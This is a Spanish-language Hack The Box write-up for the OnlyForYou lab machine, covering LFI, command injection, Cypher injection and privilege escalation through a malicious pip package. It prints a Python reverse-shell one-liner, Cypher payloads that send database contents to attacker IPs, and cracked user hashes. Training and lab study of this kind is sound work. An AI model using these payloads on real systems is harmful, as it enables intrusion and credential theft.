Entrada

Write-up OnlyForYou [Medium] - Hack The Box

Write-up OnlyForYou [Medium] - Hack The Box

Publicación del write-up de sujeto a las guías generales de Hack The Box.

Write-up OnlyForYou [Medium] - Hack The Box


Mi perfil de Hack The Box: julianglez16

Enumeración

Puertos

Untitled.png

Directorios web

Untitled.png

Virtual hosts

Untitled.png

Tecnologías web

Untitled.png

Funcionalidad web

Untitled.png Untitled.png Untitled.png Untitled.png Untitled.png

Análisis con BurpSuite

Petición al suscribir un correo a la newsletter: Untitled.png

Explotación

Usuario

Al descargar el código fuente desde beta.only4you.htb y descomprimirlo se puede ver un código fuente escrito en python.

Untitled.png

Analizando el código fuente se descubren varios endpoints nuevos para el dominio beta.only4you.htb:

  • /resize

    Untitled.png

  • /convert

    Untitled.png

  • /source

    Untitled.png

  • /list

    Untitled.png

  • /download

    Untitled.png

Al realizar la descarga de una imagen redimensionada, se realiza una petición POST al servidor con la ruta del fichero en el cuerpo. La única “sanitización” que contiene la función /download en el código es comprobar si el fichero contiene .. o empieza por ../ para intentar evitar ataques LFI. Al fijarse en el comportamiento del código para evitar LFI, se observa que en el segundo if comprueba si el nombre del fichero es un path absoluto o no, y si no lo es, lo concatena con el path del directorio de imágenes. Al inyectar un path absoluto en el fichero de la petición, se realiza exitosamente el LFI.

Untitled.png Untitled.png

Untitled.png

Al obtener el fichero /etc/nginx/sites-available/default se puede conocer el directorio raíz del servidor web. Con esta información se obtiene el código fuente de la aplicación web inicial para comprobar si existe alguna vulnerabilidad en dicha web.

Untitled.png

Untitled.png

Código fuente de la aplicación web principa Untitled.png

Obtención del fichero form.py: Untitled.png

El fichero form.py contiene el método issecure que es vulnerable a Command Injection debido al uso de la función run de la librería subprocess de python.

Untitled.png

Aprovechando esta vulnerabilidad, se puede probar a ejecutar el comando | telnet [IP] [PUERTO] para comprobar la efectividad de la inyección.

Untitled.png

Respuesta del servidor gracias al command injection: Untitled.png

Con esto se puede realizar un shell reverso que conecte a nuestra máquina con el payload

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")’

Untitled.png

Enumerando los puertos abiertos se encuentran algunos de interés dentro de la máquina

Untitled.png

Para poder acceder a dichos servicios expuestos en la interfaz de localhost se utiliza Chisel con la siguiente configuración

Untitled.png

Ejecución de Chisel en la máquina atacada: Untitled.png

Ejecución de Chisel en la máquina de ataque (kali): Untitled.png

Con esta redirección, al conectarse a la IP 127.0.0.1:8001 en el buscador se llega a la siguiente web

Untitled.png

Realizando los mismos pasos para el puerto 3000 de la máquina OnlyForYou se llega a la siguiente web

Untitled.png

Realizando lo mismo para el puerto 7474 se llega a la siguiente web

Untitled.png

En el login de la página Only4You al usar las credenciales admin:admin se accede a un panel con diferentes gráficos y opciones.

Untitled.png

En las tareas se puede ver que utiliza la base de datos neo4j

Untitled.png

En el panel de empleados hay una barra de búsqueda. Desde esta se puede realizar una inyección llamada Cypher Injection.

Untitled.png

Con el siguiente payload:

1
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM '[http://IP:PUERTO/?version=](http://10.10.14.200:7777/?version=)' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

Untitled.png

Con el siguiente payload se obtiene el nombre de las tablas existentes en la BD:

1
' OR 1=1 CALL db.labels() YIELD label LOAD CSV FROM "http://10.10.16.8:7777/?" + label as line RETURN 0 //

Untitled.png

Con el siguiente payload se obtienen los campos de la tabla user

1
' OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://10.10.16.8:7777/?' + p + '=' + toString(u[p]) as l RETURN 0 as _0 //

Respuesta con las credenciales de los usuarios: Untitled.png

Las contraseñas están cifradas con SHA256 por lo que hay que crackearlo

Comprobación del tipo de hash de la contraseña del usuario john: Untitled.png

admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Untitled.png

john:a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

Untitled.png

Con estas credenciales se puede hacer SSH a la máquina con el usuario john. Estas credenciales sirven también para hacer login en el repositorio de Gogs que se descubrió en el puerto 3000.

Root

Una vez dentro de la máquina con el usuario john, se comprueba que tiene permisos de sudo para ejecutar /usr/bin/pip3 download http://127.0.0.1:3000/*.tar.gz.

Untitled.png

Con esta funcionalidad se puede ejecutar código con permisos de root debido a que pip download ejecuta el fichero setup.py que esté dentro del paquete (https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8).

Siguiendo este tutorial, se crea un paquete con un fichero setup.py malicioso que realice un shell reverso hacia nuestra máquina: https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

Untitled.png

Con el comando python3 setup.py sdist se crea un fichero comprimido con el paquete que hemos creado.

Untitled.png

Este es el fichero que se sube al repositorio para poder realizar la escalada de privilegios a través de pip3 download. Para poder obtener el paquete del repositorio es necesario hacerlo público a través de los ajustes del repositorio.

Untitled.png

Finalmente se realiza el download con pip3 y se obtiene la conexión con permisos de root.

Untitled.png Untitled.png

Esta entrada está licenciada bajo CC BY 4.0 por el autor.